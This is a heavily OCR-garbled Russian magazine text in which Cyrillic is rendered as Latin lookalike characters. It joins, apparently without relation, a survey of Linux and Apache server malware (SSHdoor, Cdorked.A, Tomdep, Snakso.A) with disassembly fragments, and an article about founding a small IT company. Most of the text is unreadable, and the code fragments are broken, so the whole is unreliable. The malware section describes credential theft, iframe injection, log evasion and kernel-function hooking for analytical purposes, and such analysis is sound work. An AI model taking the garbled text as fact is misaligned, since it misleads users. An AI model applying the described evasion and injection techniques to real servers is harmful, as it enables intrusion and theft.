PacnpoctpaHeHue
PacnpocTpaHsieTcs aHanornyHbiM crnocoboMm — yepesd danblumebiii Apache-
mogaynb Darkleech (4To BnonHe 3akOHOMEPHO).

BpepoHocHas AeATENbHOCTb

OcHOBHas Lenb 3TON ManBapy — XULLIEHWE AaHHbIx ansa SSH-pgoctyna v nony-
YeHve yaaneHHoro AocTyna k cucteme. B ¢poHOBOM pexvme oxwupaeT, koraa
nonb3oBaTesib 3ax04eT BOMTU Ha cepBep Yepe3 SSH, 1 B HyXHbIi MOMEHT Cuu-
TbIBAET aBTOPU3ALMOHHBIE [AHHbIE, KOTOPbLIE OTNPABASIET HA CEPBEP 3/10YMBbILLI-
JIEHHUKOB.

Apache-63k40pbl, KOTOPbIE KacarTCs Kaxgoro 97

dparmeHT 6uHapHoro koga Linux/SSHdoor

[MABHAS! LIENb OGO APACHE-E3K/10PA — NEPEHANPABHUTb MOMb30BATENSA HA CAUT
C BPEIOHOCHBIM 3KCNOUTOM, IKCNNYATUPYS YA3BUMOCTH B EF0 BPAY3EPE

LINUX/CDORKED.A

MosiBuncs BecHo 2013 roga. 3apaxaeT ncknoumtensHo Apache-cepsepsbl, Oc-

HalleHHble cPanel. KoMnakTHbl 70-CTPOYHbLIN GUMHAPHbLIN KOA, MCMONHAEMOro

daiina 3awmndposaH anroputmom XOR co cTaTnyecknm 4-6UTHBLIM KITIOHOM, pac-

LwncdpoBaTh KOTOPbI COBCEM HECTIOXHO. ViaeaneH ana uccnenosanus. O6Hapy-

XUTb akTMBHOCTb Cdorked.A HECKONbKO 3aTPYAHUTENBHO, TaK Kak:

*  OH He OCTaBfIsSieT CNlel0B CBOEN AEATENBHOCTM Ha XECTKOM Ancke, paboTtas
¢ shared memory (3agelictByeTcst npuMepHO 6 M6);

*  ero aKTMBHOCTb He OTobpaxaeTcsl B Jlorax cepsepa 6narogaps XMTpoi cxeme
ob6dyckaumm HTTP-3anpocos;

*  OHyMmeeT naeHTMdUUMPOBaTh 3axo4bl aMUHUCTPATOPA Ha CaWT 1 He BCTaB-
NATb B TAKOM CJly4ae BPEAOHOCHBIV koA, Ha CTpaHuubl. lenaeT oH 310 Ao-
BOJIbHO HEXUTPbLIM crioco6om: B cookies 1 URL 3arpyxaembix CTpaHUL, ULLeT
noacTpoku adm, submit, webmaster, stat, webmin, cpanel n nogo6Hble.

3T Tpu CBONCTBA 06EecneyrBaloT eMy NepBoe MEeCTO B PETUHIEe CaMbIX XW-
TpbIx Apache-63ka0p0oB cpeamn N3BECTHbIX BUPYCHbLIM aHanutrkam (Chapro npak-
TUYECKM JOTrOHSIET €ro no 3ToMy nokasatento). HaBepHsika ecTb npeacTaBuTenn
3TOro TMNa MasiBapu 1 NOM3BOPOTINBEE, HO X MOKa HE 0BHAPYXUN :).

-——p

PacnpocTpaHeHue

3apaxeHve NponcxoamnT NOCPEACTBOM NPAMON MHTerpaummn B httpd (ocHoBHOM
vcnonHaemblin daiin Apache). Cnoco6, KOTOpbIM BUpycOonucarenu nosy4vatoT
root-npasa 411 [ocTyna K aTomy dariny, OKOH4aTeNbHO HE YCTAHOBEH.

BpepoHocHas AeATeNbHOCTb

Korga nonb3oBarenb 3ax04uT Ha CalT, coaepXxalumii iframe-mHbekunmn, creHe-
pupoBaHHble Cdorked, ero nepeHanpaensioT Ha Blackhole Exploit Kit, koTopbiii
GepeT Oeno B CBOM PyKM U CKaHMpyeT 6paysep NonbL30BaTens Ha NpeamMeT pas-
JINYHBIX YA3BUMOCTEN. Takxe B 3TOT MOMEHT 03epy 3anmBatoTcst Cookies, NCKo-
yaroLme BO3MOXHOCTb NMOBTOPHOIO NepeHanpasieHns Nob30BaTens.

WTak, Kakne HENPUATHOCTW MPOUCXOAST C KOMMbIOTEPOM, B Gpay3epe KOTo-
poro yaanocb 06HapyXuUTb YSI3BUMOCTU:
ob6paboTka cookies ¢ Lenbio coopa MHpopmaumm;
+  MonyyYeHue Npas Ha yrnpaseHve NloGbIMU NPOLECCaMM B CUCTEME;
*+  BbINOJIHEHWNE KOMaHA, NOChINIAeMbIX yAANEHHbIM CEPBEPOM 3/10YMbILLIEHHN-
KOB.

Takxe CTOUT 0TMEeTUTb, 4TO Linux/Cdorked.A He nmMeeT MexaHM3MOB camo-
pacnpocTpaHeHus. To ecTb aBTOMaTUYeCKoe 3apakeHne NPONCXOAMT UCKITIoYUMN-
TeNbHO OT cepBepa K KIIMEHTY.

dparmeHT 6uHapHoro kopa Linux/Cdorked

xarr_11688+
_%x69 11758
arr_11688+
_®%x70_11759

xarr_11688+

byte ptr [rdx+rax
: len_array[index]

_xarr_11688[index]
buffer

xkey

.[|'||i|.+|:|\i buf e

from_id endp
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JAVA.TOMDEP

OnaceH aona cepsepoB Apache Tomcat (94p0 KOTOpbIX HamMcaHo Ha Java,
a He Ha C, kak y knaccuyeckoro «MHgenua»). ObHapyxeH BecHoi 2013 roga.
Llenb cospateneii atoro Bupyca — GopMupoBaHWe OBLUIMPHON GOTHET-ceTu

ons nposeneHns DDoS-artak.

PacnpocTtpaHeHue

PacnpoctpaHseTtca B Buae Java-cepsneta (dann
06bl4HO HadbiBaeTcs Apache Loader n pasmellaeT-
cs B /jsp-examples/error/ApachelLoader).

BpepoHocHas AeATENbHOCTb

BbINOMHSAET KOMaHAbl, OTNPAaBAsSEMblE C yAaNeH-
Horo IRC-cepBepa. OH MCMONb3yeT 3apaxeHHbIi
cepBep ans nposeneHuss DDoS-atak (Tomdep
cneuvanuaupyetcsa Ha UPD-dnyne) yepe3 SOCKS-
npokcu, uwet apyrne cepsepbl Apache Tomdep

WARNING

CepeneTbl anst Apache
Tomcat Hago 6partb
13 HafeXHbIX MecT. K npu-
mepy —www.servlets.
com. Tam Xe MOXHO HalTh
noapo6Hyio MHdopmauuio
110 MX CO3AAHMIO M pefak-
TUPOBAHMIO.
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3apameHHbIA cepeep

.

KomaHbl/0TBETbI
& | |

Bpyrdope naponei

O, O, O,

IRC-cepsep

"\
o

t Komanpbl/0TBeThI

O,

1 NPOHMKAET Ha HUX NyTEM CTaHaapTHoro 6pyTdop-
ca napoJieit. Takxe BUpyC CrnocobeH BUAOU3MEHATb
COOCTBEHHbI KO, 1 CAaMOOOHOBNATLCS.

[MoceTuTensm caiiToB, 3apaxeHHbIX 3TUM BUPY-
com, 605ITbCS HEeYero, Tak Kak OH CO34aH AJis Npo-
BeneHuss DDoS-atak U He BHeOpsieT B CTPaHuLbl
iframe-nHbekuMn.

INFO

Shared memory — yyacTok
BMPTYaNbHOTO aiPECHOr0
NpOCTPaHCTBa ANs Xpa-
HEHUS! U CYUTBIBAHMS
naHHbIx. B Apache (v npo-
unx UNIX-cepsepax)
B3aKUMOJENCTBME C HUM
OCYLLEeCTBNSETCS C MO-
MOLLbIO CrieLmanbHoro API
nop HassaHuem POSIX
Shared Memory.

JLINUX/SNAKSO.A

MosiBuBLIMIACS oceHbto 2012 roga Linux-pyTKUT HanmMcaH cneumanbHo Ans Bep-
cum appa 2.6.32-5-amd64, koTopoe mncnonb3yetca B Debian Squeeze (6.0).
BupycHble aHannTukn B CBOMX 6110rax OTMEYaloT HEOMNbBITHOCTb CO34aTenNs 3Toro
Bupyca: c6opka BecuT 500 K6, MHOro nwHero koaa, KOTopblii CKOMAUAMPOBaH
BMECTE C OTNIafgo4HON nHdopmaumein... Tem He meHee Snakso 3apasu COTHU
TbICSI4 KOMMbIOTEPOB MO BCEMY MUPY 1 B JIOrax Cepeepa ero NpocTo Tak He 06Ha-
pYyXuTb: 9Ta Maneapb ymeeT 06dycumposatb HTTP-3anpochl.

PacnpocTpaHeHue

PacnpocTpaHsieTca yepes iframe-uHbeKLMN, HO HECKONIbKO HEOBbIYHbIM CMO-
cobom: noameHsieT @yHkumio tcp_sendmsg, dopmupylowyto TCP-nakeThbl.
Apache-63ka0pbl, KOTOpble NosBUANCH A0 Snakso.A, Aenanu To Xe camoe C no-
mouwpio PHP-ckpunTa. AKTyanbHOCTb BEPCUIA KOLOB BPEOOHOCHbIX GpenmMoB
3TOT BUPYC PErynsipHO CBepsieT C yAaneHHbIM CEBEPOM.

BpenoHocHas AeATeNbHOCTb

Mpu HannuMM ya3eBMMoCTY B Gpay3epe nonb30BaTeNs Ha ero KoMnbloTepe ycra-
HaBNMBAETCH 3HAMEHUTBIN TposiH Zeus (Zbot), KOTOpbIA cneunannavpyeTcs
Ha nepexsaTe AaHHbIX AN YPABIEHUS 3NIEKTPOHHBIMIU CYETAMU U CUCTEMAMU
OHnaliH-6aHkuHra. Moamdukaums aToro Yepssi, pacnpocTpaHsieMas C MOMOLLbIO
Snakso, NoxuwaeT ¢ KOMMbIOTEPOB Nosb30oBaTenel AaHHble ans SSH-pgocTyna
Ha CepBepPbI M UCMONb3YET VX OS5 AaNbHENLLErO PacnpoCTPaHeHNs BUpyca. 3

HeaapameHHue cepeepbl

Arakytoumii

Cxema pa6oTbi Java.Tomdep

He ncnonb3oBath ycTapeBLuve Bepcun 6pay3epoB. OHM co-

[epxar AOCKOHANIbHO N3yYEHHbIE Xakepamu ya3BumMocTu!
CHectun Adobe Flash Player, Real Player n Java-agfoHsbl.

Ecnv a1 fononHeHns Tebe Hy>XHbl, PErynsipHoO CTaBb
0BHOBEHMSA (CTPOro C 0dpULManbHbIX CanToB).

PerynsipHo npoka4nears CBOM 6pay3ep nocneaHyMm Ho-

BVHKaMu B cdepe 3alumThl oT drive-by yrpos.

ublic export_var_array
export_var_array db 'ptype_all',0

16h dup(0)
'ptype_base',0

15h" dup (0)
'ptype_lock', 0

15h dup (0)
'£illdiréd’, o

16h dup(0)

'£illdir', 0

18h dup(0)
'vfs_readdir', 0

14h dup(0)
‘vEs_write', 0

16h dup(0)
'security_file permission',0
7 dup (0}

'vfs_read', 0

17h dup(0)

‘rw_verify area',0

11n" aup(0)
'module_mutex',0

13h dup(0)

'modules’, 0

18h dup(0)
'dev_add_pack', 0

13h dup(0)
'dev_remove_pack',0

10h dup(0)
'tcp_sendmsg', 0

14h dup(0)
'tep_push_one',0

13h dup(0)
'top_send_mss', 0

13h dup(0)
'sk_stream_alloc_skb',0
0Ch ™ dup (0)
__tcp_push_pending_frames', 0
6 dup(0)

ublic sysmap_file_dir_array

aPtype_base_0
aPtype_lock_0
aFilldiré4_o
aFilldir_0
aVfs_readdir_0
aVfs_write
aSecurity fil_0
aVfs_read_0
aRw_verify_ar_0
aModule_mutex_0
aModules_0
aDev_add_pack
aDev_remove_p_0
aTcp_sendmsg_0
aTep_push_one_0
aTcp_send mss_0
aSk_stream_al_0

a__tep_push_p_0

2EEEEEEEEEEEE0EE066660000068660006666E

export_var
t+d4aTo

®dparmeHT GuHapHoro koga Linux/Snakso



Mbl NILLEEM HOBbIX ABTOPOB!

Ecnu Tebe ecTb 4TO cka3aTb, Tbl MOXeLUb BOWTM B KOMaHAY N0OMMOro xypHana.

KOHTaKTbl PEJAKTOPOB BCEX PYOPUK ECTb Ha NMEePBOi Nonoce.
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BocbMuneTHMM NyTb OT CMCAAMMHA A0 HaYabHMKaA oTaena pa3padoTkm MO okoHYaTeENbLHO
ybeamn MeHst OTNpaBnUTbCA B CBOOOAHOE nnaBaHue. MHe Hagoeno pewartb 0gHO00pasHbIe
npoonemMbl 0JHON KOMIMaHUWN, MHE XOTeJI0Chb NONyYUTh MPaBo BbIOMpaTh 334241 U KIINEHTOB.
CBol1 onbIT, HENoKoNedbrMoe xenaHne o6pecTn He3aBMCUMOCTb U CTPEMJIEHME UATU Bepep,
1 NOMNbITaNICA KOHBEPTMPOBATbL B COOCTBEHHOE Ae/0. YTO 13 9TOr0 BbILLJIO, YATAN HUXE.

CYEro BCEHA4YMHANOCH

CBoli 6M3HeC 51 BUAeN B Tpex HanpaBneHusix: Be6-
paspaboTka,  COMPOBOXAEHWE/NPOrpaMMmMpoBa-
Hue npoaykTtoB gnsa nnargopmbl 1C:Mpeanpusitue
8 1 npogaxa kopobok ¢ MO. Ha nepsbii B3rNsg
NOXOXe Ha rPemMy4yld CMeCb, HO A OTTanKmBasncs
oT NoTpebHOCTEN Manoro 6usHeca. VIM Hy>Hbl caii-
Tbl, U 'y HUX 06513aTENLHO ecTb 1C, @ 3TO OrPOMHBIN
nnaugapm ans paborol.

91 3apaHee npegnonaran, 4T0 MHOro Ha paspa-
60Tke canToB Ans Manoro 6usHeca He 3apaboTa-
elb. ITOT TUN KJINEHTOB HE rOTOB MHOMO MnaTtuTb
3a caliT, HO UM MOTyYT ObITb MHTEPECHbLI COMYTCTBY-
lowme ycnyru B Buge nogaepxku 1C n npoasuxe-
Hus. MpocTtenwmve pacyetbl B Excel nokasbiBaioT,
4yTO Nydwe paspaboTaTb HEOOPOrol canT u npea-
NIOXUTb KJIMEHTY ycnyrn Ha aboHEeHTCKOW nnate
(0coBeHHO ecnun BbINONHEHWE YCIYr MOXHO aBToO-
MaTn3npoBaTthb), YEM MNPEnIOXUTbL OOPOro caunT
1 B UTOre HE NMOMY4YnUTb HUYEro.

B npoaaxe kKopobok ¢ CoOGTOM TakxKe HM4ero 3a-
30pHOro HeT. MNpoaaBas kopobku ¢ npogykTamu 1C,
BMoJIHE peanbHO nosyyatb A0 40% areHTCKoro Bo3-
HarpaxaeHus. nyCTb Tbl HE NpOoAallb BaroH aTux KO-
po60OK, HO TBOUM KnneHTam OyaeT ynobHee KynuTb
BEeCb HEOOXOAMMBIN COPT A8 3anycka nx npoekTa
B OZLHOV KOMMNaHWW.

BoO3HuMKaeT cnpaBensivBbIi BOMPOC: @ Kakown
CcMbIC Torga BoobLLe AenaTb CanTbl, €CIU Ha HUX
CNoxHO 3apaboTaTtb? 3apaboTartb Ha CO34aHUU
CanTOB MOXHO, HO /191 3TOr0 HY>KHO BPEMSi, MPpoKaY-
Ka OnbITa U XOPOLUMIA PEUTUHT HA pbiHKE. [onyyunTsb
KPYyTbl€ 1 OpOrve NpoeKkTbl Cpady Nocne ctapTa He-
peanbHo. CTyAMIO HAKTO He 3HAeT 1 He 3axo4eT 00-
paLLaTbCs K Manon3BECTHOM «KOMMALLKE».

OTUWAEU KBU3HECY
OnpenenuBLIMCH C MAEEN, A NepeLuen KO BTOPOMY
noAroTOBUTESIbHOMY 3Tany — MIaHMPOBAHUIO 1 [0~
KyMeHTMpoBaHuio. Kommepyeckuii npouecc paspa-
60TKN — 3TO HE CMOHTAHHbI TBOPYECKN NPOLLECC.
B naeane oH pomkeH ObiTb NOCTABNEH HA KOHBEW-
ep. Kaxabli NPoeKkT OO0/MKEeH NpoxoamTb onpene-
JNIEHHbIE CTagun NPOM3BOACTBA, U BCE OHU AOMKHbI
ObITb XOPOLLO 3340KYMEHTUPOBaHbI. OTO OTHOCUT-
Cs1 KaK K npoueccy pa3paboTku, Tak U K UCNOoNb3y-
€eMbIM MHCTPYMEHTaM. { Bcerga cumTan u cumTato,
4YTO Hann4ne xopollemn JOKyMeHTauum B pasbl yrnpo-
LaeT B3aMMOAENCTBME B KOMAHAE.

Hayvan coctaBnaTb OOKyMEHTauuio § C pas-
paboTku, Tak Kak MPeKpacHO 3Han 3Ty obnactb
ny MeHsa Oblnn naoen, nossongdowme onTMMn3npo-

BaTb HEKOTOPbIE M3 Y4acTKOB. Ha BbIxoge y MeHsi
NOSIBUNCH CONWAHLIA  AOKYMEHT, OMNUCbIBAIOLLNA
KaX bl 3Tan NPou3BOACTBA HOBOro carTa. Jdaewb
Takol MaH HOBOMY COTPYZHMKY, U OH, NO uaee, cpa-
3y BbeadxaeT B npouecc. Ox, kak MHe He XxBaTaso
B CBOE BpPeMs TaKo MHCTPYKLMK Ha Moei paborTe...
Crtparernsi pasBuTUS KOMMaHUM — BTOPOK
no BaXHOCTN AOKYMeHT. OHa fomkHa ObITb 4OCTYN-
Ha COTpyAHUKamM U NOCTOSAHHO HaxoauTbCs B aKTy-
aflbHOM COCTOsIHUW. Ha MoW B3rnag, pykoBoauTENb
1N BCE COTPYAHWKW OOJNIXKHbI YETKO 3HaTb, K 4emy
CTPEMUTCHA KOMNaHWsA Ha OaHHOM 3Tarne pa3BuTus.
[lna Mmoei KoMnaHum NnepBOHaYasbHbIM BapuaH-
TOM CTpaTernu ctano JOCTUXEHNE MeCcSYHOro 060-
poTta B 500 Tbics4 pybeit 1 3akpenneHne no3vumi
Yy KJIMEHTOB CErMeHTa masnoro 6usHeca. 1 4eTko
onpenenun CyMMy Y CErMeHT KIIMEHTOB, C KOTOPbI-
MU NpeacTouT paboTatb B 6mxaliliee Bpems.
OnbITa B HANUCAHWKM CTPATErNin PA3BUTUS Y MEHS
Hukorga He 6bln0, MO3TOMY NEPBbLIA BapUaHT Nony-
4yuscs Yepecyyp NoApPoO6HLIM. A Tyaa 3anuxHy BCe
Xenaemble LOCTUXEHWS, YEro MOXHO OblIo He fae-
natb. OGHOBMEHHbLIE BEPCUM OMUCHIBALO yXXe bonee
KpaTKo 1 onpenendto B HUX NnLlb I'J'IO6aJ'IbeI6 uenu.
BonbLuyto 4acTb JOKYMEHTOB i Hanucasn o oT-
KpbITUS KOMMNaHuW. Y MeHs He Gonena ronoea, roe
B3ATb KJ/IMEHTOB ” 6bICTpeI7I BbIMOJIHNTb MNPOEKT.
Ecnv HaumHaTb 3TMM 3aHMMaTbCA yXXe nocsne ctapTa
npoekTa, TO BPEMEHN Ha JOKYMEHTMPOBaHNE BCEr-
na 6yneT He xBataTb. MosBUTCA kyya 6osiee BaxXHbIX
Oen, n co3paHne JOKYMEHTOB OyeT MOCTOSIHHO OT-
KNaabiBaTbCS.

KOMMNAHUSA B PASPE3E

Moka s He BBAI3ANCS B OpraHn3aumio COOCTBEHHOM
KOMMaHUW1, MON NPeACTaBNEHUS O CTPYKTYpE TUMO-
BOI Beb-CcTyaun Obinn paneku oT npoeana. B Beb-
CTyamMu s He paboTan 1 Mor Nuilb A0ragbiBaTbCs,
4YTO M Kak Tam YCTPOEeHO u3HyTpu. Onpeaenntbes
C HeoOXOAUMbBIMU JIIOABMU — BaXHbI Ha4YasbHbIN
aTan, U 34eCb B NOroHe 32 9KOHOMUEN MOXHO Ha-
lomMaTb HeMano ApoB.

Moeii rnaBHOW OLWMOKOW CTano HenpasusibHOE
onpeneneHve ponen gns CoTpyaHMKOB. Bpems no-
Kasano, YTO Henb3si Ha MPoAaXHVKa HaBelmnBaTb
006513aHHOCTN MeHenxkepa npoekTa. MoTuBaumsa
Yy 9TUX COTPYOHWKOB B KOpPHE OTIMYaeTcs, n OBe
POJIN NPOCTO HE MOTYT YXUTbCSH B OAHOM HYesl0BeKe.
OavH Bcerpga xo4eT nobBosnblue nNpopatb U 60nb-
Wwe Haobewatb, Apyroi, HA0BOPOT, LEHUT Kaxaoe
0653aTeIbCTBO, MOCKO/bKY €My Xe NpuaeTcs ux
cobnopatb.

NP0 BTOPOCTEMEHHBIE YCNYIH

OpvH Haw KNMEHT 3aayman OTKPbITb MHTEPHET-Mara3uH. Bee, 4To y Hero 6bi10 Ha TOT MO-
MEHT, — AeHbrv 1 naes. OH 3akasan pa3paboTky MHTEePHEeT-MaraavHa, nnact rpaduvky 1 3a-
O[HO Kynui TpU INLEH3UM Ha conyTcTeyowme npoayktel — Windows 7 Pro, Office 2013
n «YnpaeneHune Toprosnei». Mprnobpen nuueH3anm — notTpeboBannch YCnyru BHeAPeHus.
B utore Hawa komnaHus 3apaboTtana 60sblue Ha BTOPOCTEMNEHHbIX ycnyrax (KcTaTtu, npo-
[osxaeT 3apabatbiBarb), HeM Ha pa3paboTke MHTEPHET-Mara3uHa.
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PEKOMEHAYH
K MPOYTEHNIO

«Kak CECE Y cBoii IT-6u3Hec»
( ) — Hebonbluaa KHUra,
OoCBeLaioLas 4acTo BO3HMKAOLWWE BO-
NPOCbl Ha4yMHaloLWero npeanpuHUMarens
B IT-chepe.

MBuUH KeHHepu «[LOroBOpuUTLCA MOXXHO
060 Bcem» ( ) — npekpac-
Hag KHUra, Kotopas no3BOoINT MNo-4PpYromMy
B3MSIHYTb Ha npotlecc neperosopos. Cy-
neprneperoBopLUMKOM Tbl HE CTaHeLlb,
HO MHTEpPEeCHbIe TPIOKN OAHO3HA4YHO f06a-
BULLIb B CBOIO KOMWJIKY 3HAHWNA.

dpepepuk Bpykc «Mudpuueckuii yeno-
BeKo-mecsawy» ( ) — KHura,
cTaBLIas Knaccukon. K 6usHecy npsamMoro
OTHOLUEHNS HE MMEET, HO XOpOLUO WJ-
JIOCTPUPYET npoLecc paspaboTkn npo-
rpamMMHbIX MPOAYKTOB. 3acTaBnser 3a-
OyMaTbCH N OTPE3BASET OT YPE3MEPHOro
onTuMmu3ma.

Dxeiicon ®paiin, Oaeua XeiiHmeiiep
XaHccoH «Rework: BusHec 6e3 npep-
paccyakoB» ( ) — KHura
OT OCHOBaTeNen NereHaapHoM KoOMMaHUn
37signals. ABTOpbI AeNATCA CBOUM OMbITOM
co3gaHus 6u3Heca 1 pacckasbiBaloT O Me-
Jio4ax, Npo KOTOPble W3HAYaJIbHO HUKTO
He aymaeT. KHura BOOXHOBSIET HA peLumn-
TeNbHble OECTBUS.

Maiikn Xanart «Mnartpopma. Kak cratb
3aMeTHbiIM B UHTepHeTe» (

) — aBTOP KHUIM OEeNnNTCA coBeTamu
no CO34aHMI0 YCNELLHOro 6peHaa B UHTeP-
HeTe. CoBeTbl aBTOpa, HECOMHEHHO, MPU-
roasaTcs Npu OTKPLITUM U pekiaMupoBa-
HMM HOBOWCMEYeHHOro 6uaHeca.

AeHuc KannyHoB «dPpPekTuBHOE
KOMMepuyeckoe npeasnoxenue. MWc-
yepnbiBalolUiee PyKOBOACTBO» (

) — Kakoi 6usHec Tbl Obl HU Op-
raHn3oBaJsl, Tbl CPa3y CTOJIKHELLbCS C He-
06XOAMMOCTbLIO  MUcaTb  KOMMepYeckue
NPEANoXeHns. M3 aTO KHUMM MOXHO y3-
HaTb MHOIO TOHKOCTEN W MONEe3HbIX COBE-
TOB MO AAHHOW Teme.

Dxeiicon ®paiin, Oaeua XeiiHmeiiep
XaHccoH «Remote. O¢puc He o06a3a-
TeneH» ( ) — HOBas KHura
oT aBTopoB Rework. Ha HarnsaHbIX npume-
pax aBTOpPbl [0Ka3bIBAIOT U MOKa3blBAIOT,
410 ouUc ANa ycnewHoro 6usHeca Bellb
abconoTHO He 06a3aTenbHas.




KOrZ1A 000 NTYHLUE

O npeumylLlecTBax opraHusaumm Gu3sHe-
ca B kadectBe MM 9 yxe AOCTaTo4HO pac-
ckasan. OfHako, HECMOTPS! Ha BCE HSLLKM
1 wapsauwme Hanorosble crtaBku, UM mo-

XeT He NMOAOWTU, ECNN Thbl OPraHN30BbLIBA-
elb 6usHec C Apy3bAMU. Tbl HaBEpHsSKa
Cblllas MHOrO WCTOPWIA, Koraa [Apy3bs
nepecTaloT ObITb TAKOBLIMU MOCE NEPBbIX
TBOPYECKUX Pa3HOrnacui n BO BpemMs ae-
NEeXKV AeHer. 9 He o4y ckasaTb, YTO TBOU
ApPY3bs MOTYT 0Ka3aTbCsi UMEHHO TakuMu,
HO nydylle elle Ha aTane opraHu3auuv
KOMMaHuM BCe TPe3BO O6CYAWTb, [HOKY-
MEHTA/IbHO 3aKpenvB BapuaHTbl BbIXOAa
13 6uaHeca, 30Hbl OTBETCTBEHHOCTU U TaK
panee. Bot B Takmx cnyqasx OO0 moxet
cbirpartb KJIl04YEBYIO POJib.

CpaBHwTeanan Ta6nm.|.a 06BLEKTOB HaNoOroo610XeHUs

Marnbiii 06bem pPacxoaoB UM PACXOAbl, KOTOPbLIE
TSXKEJIO NOATBEPAUTL LOKYMEHTASIbHO

Onnata ycnyr Ha CTOPOHE OCYLLECTBNSIETCS Yepes
QJIEKTPOHHbIE AeHbrn

B komnaxun (UIN) manoe KoNnn4ecTso COTPYAHUKOB

BU3HEC +
O0CHOBHASfl PABOTA

YBeEpeH, MHOMMX MHTEPECYET BOMPOC: a pe-
aflbHO COBMECTUTb CBOW GU3HEC 1 paboTy
Ha OCHOBHOW paboTe? Ha mow B3rmsA,
MOXHO, HO OYEHb-OYEHb TPYAHO. B mono-
>KEHWM MOrHaBLUErocs 3a AByMs 3aiiLamu
OXOTHMKA Thl OKaXeLIbCA C O4EHb BbICOKOM
BEPOATHOCTLIO. Ho ecnu Tbl cobpancs co-
BMELLATb, TO, HA MOV B3NS4, JyyLle BCEro
nepenoxuTb ctapt 6usHeca Ha Bpems oT-
nycka. Ecnu nocraparbcsi, TO BblpBaTbCS
B 0TNyck Ha 30 oHel BnonHe peanbHo. Jlo-
6aBuUM clofa elle BO3MOXHbIe KaneHaap-
Hbl€ NPa3gHUKK 1 nony4um ece 35.

OTOro BpeMEHW BMOJIHE XBATUT HA Ha-
YanbHoe 0O6YCTPOWCTBO M OTIAgKy Mnpo-
Lieccos. [MmaBHoe, 4ToObl 6a3a Gbiia rotoBa
M3HA4yasbHO.

Mon 6a3oi 1 nogpasymeBalo cTpare-
rmio, JOKYMeHTbl 1 npoyee. Ha nprobpe-
TeHne oBGOpYyLOBaHUS U OTKpbITUE oduca
MHOIO BPEMEHU He HYXHO. Nocne 3anycka
N YTPSCKU paboymx MPOLLECCOB BMOJSIHE
BO3MOXHO MPOAOIXaTb TPYAUTECS HA OC-
HOBHOM MecTe paboTbl U MHBECTMPOBATb
B GM3HEC AeHbru ¢ 3apnnaroi. Kak Tosib-
KO HabepeTcs HyXHbIi 060POT — MOXHO
3a4yMbIBaTbCs 06 YBOSIbBHEHUN N OKOHYa-
TeNbHOM MUrpauumnm B COBCTBEHHYID KOM-
naHuio.

Ownbes a9 1 ¢ dopmaTom BeayLero nporpam-
MucTa. OTOT 4YenoBek [OMKeH ObiTb ODUCHLIM
COTPYAHMKOM, a He dpunaHcepoM. WM3HavanbHO
a penan GonblUylo CTaBky Ha punaHcepos, HO,
Kak nokasasia npakTuka, rnoka He Hangellb Ha 3TOM
nonpuLLe NPOBEPEHHbIX BPEMEHEM NI0AEN, He CTO-
UT BO3Maratb Ha HUX Gonblive Hagexabl. Moxet
CNy4nTbCA TakK, 4TO B CaMmblii pasrap chadqn npo-
eKTa 4YenoBekK Tyno nponageTt v nepen KJIneHTom
npuaetcs otayBatbest Tebe. MHe B CBOe BpeMsi no-
Be3510, paboTy nponasLiero punaHcepa 3akpbiTb
CMOT JINYHO 4, MOCKOJIbKY 3HAl0 OTpac/lb 1 HannucaTb
TbICAYY CTPOK KOAa B aBpaslbHOM pexume A5t MeHs
He npobnema.

HabvB WWWKM C WCNONHUTENBHOCTBIO pu-
NIAHCEPOB M [OOMYCTMB OWMNOKM C Ha3HayeHWem
HECOBMECTUMbIX Mexy coOOol ponein ogHoMy ye-
NIOBEKY, i MPULLEN K TakoW CTPYKType: OUPEKTOP,
sales manager, Beoylmin pa3paboTyrK, nporpam-
MUCT-BEPCTANbLLMK,  CMEUManncT  TeXHUYECKOMN
noanepxkn n opuc-meHeoxep. Utoro wectb He-
nosek. [lnzanHepa B wTaTe He AepXy — noka HeT

6onbLIOro o6bema 3aka3oB, AM3aliH Mbl OTOAEM
Ha ayTcopc, Npu TekyLieM 060poTe 3TO BbIFOAHO.
Kak Tonbko yBenninm o6opoT, cpasy 3aaymMalch

PerynsipHble pacxoabl 60onbliero o6bema (He me-
Hee 60% OT moxoAa Npu NPOLLEHTHOM cTaBke 15)

Bce pacxonpl 1erko NnoATBEPXAATCS PErynsapHo

B KOMNaHWM NOAHOLEHHBINM LWTaT COTPYAHUKOB

0 Haiime 4yenoseka Ha full time. C 6yxrantepwuein
1 I0puanNHecKMMn BOMpocamMu noka Crnpaefsiochb
camocToATeNbHO, 6naro 4ia 3T0ro ectb Hensoxmne
Beb-CepBuChl U lopranyeckoe obpasoBaHme.

CTounT ckasatb, YTO Ha MOMEHT 3anycka komna-
HUN COTPYZOHMKOB ObIIO €Lle MeHbLUe: AMPEKTOop,
BeayLMii pa3paboTynk n opuc-meHenxep. Ja, BoT
Tak BTPOEM Mbl pa60Tanm C NepBbiIMU KNMeHTamMmun
1 3apabaTbiBasiv Ha BO3MOXHOCTb PaCLUMPUTL Nep-
coHan.

OnbIT nokasan, 4To Npu Hanme naen Bcerga
CTOUT ObITb TPVXAbI OCTOPOXHBLIM. He HyXHO no-
NPOCTY NbITaTbCA Pa3ayThb LWTAT. Tenepb nepes, npu-
€eMOM creumanncTa s cpasy niaHvpyto ero 3arpy-
>XEHHOCTb 1 MOTOK 3a4a4, KOTOPblE HA HEr0 MOXHO
BO3/I0XUTb. MHe [oBenocb Ha npakTuke BUOETb,
Kak Gpanu noaein 1 oHM BosbLLYI0 YacTb Bpeme-
HW MPOCKXMBANM LITaHbl, @ 3TO ObET MO KapMaHy
dupMbl  (CnegoBaTeNibHO, KapMaHy pykoBoauTe-
n9a). Ecnn HyXeH 4enoBek, HO HeT yBEePEeHHOCTW,
4TO OH GyaeT obecrnevyeH CTOMPOLIEHTHON 3arpys-
KoM, nydwe ob6onTnuchk NMb0O ayTcopcom, Nnbo Tpy-
[OYCTPONCTBOM €ro Ha NosCTaBku.

OToenbHO MHe Obl XOTENOCb 3a0CTPUTb BHU-
MaHue Ha OOMKHOCTU «CMeuMannucT TEXHUYECKOW
nonaepxkn». 9 cHavana He xoten 6partb AN 3TOro
OTOENbHOrO YesnoBeka, HO MOHSAJ, YTO, ecnu nepe-
JNIOXMWTb LUKBAS 3BOHKOB M NIAaBMHY MUCEM Ha pas-
pa6owvu<os, MOXHO MOMEHTaJIbHO 3aTOpPMO3UTb
NPON3BOACTBO.

He opraHn3oBaB [O/MKHBIM 06pa3oM TexHuYe-
CKYI0 NOAOEPXKY, JIErKo pacTepsaTb KIIMEHTOB — HU-
KTO He 3axo4yeT paboTaTb C KOMMaHuer, Hecnocob-
HOW OMepaTUBHO WCMOMHATL CBOM 006A3aTenbcTBa.
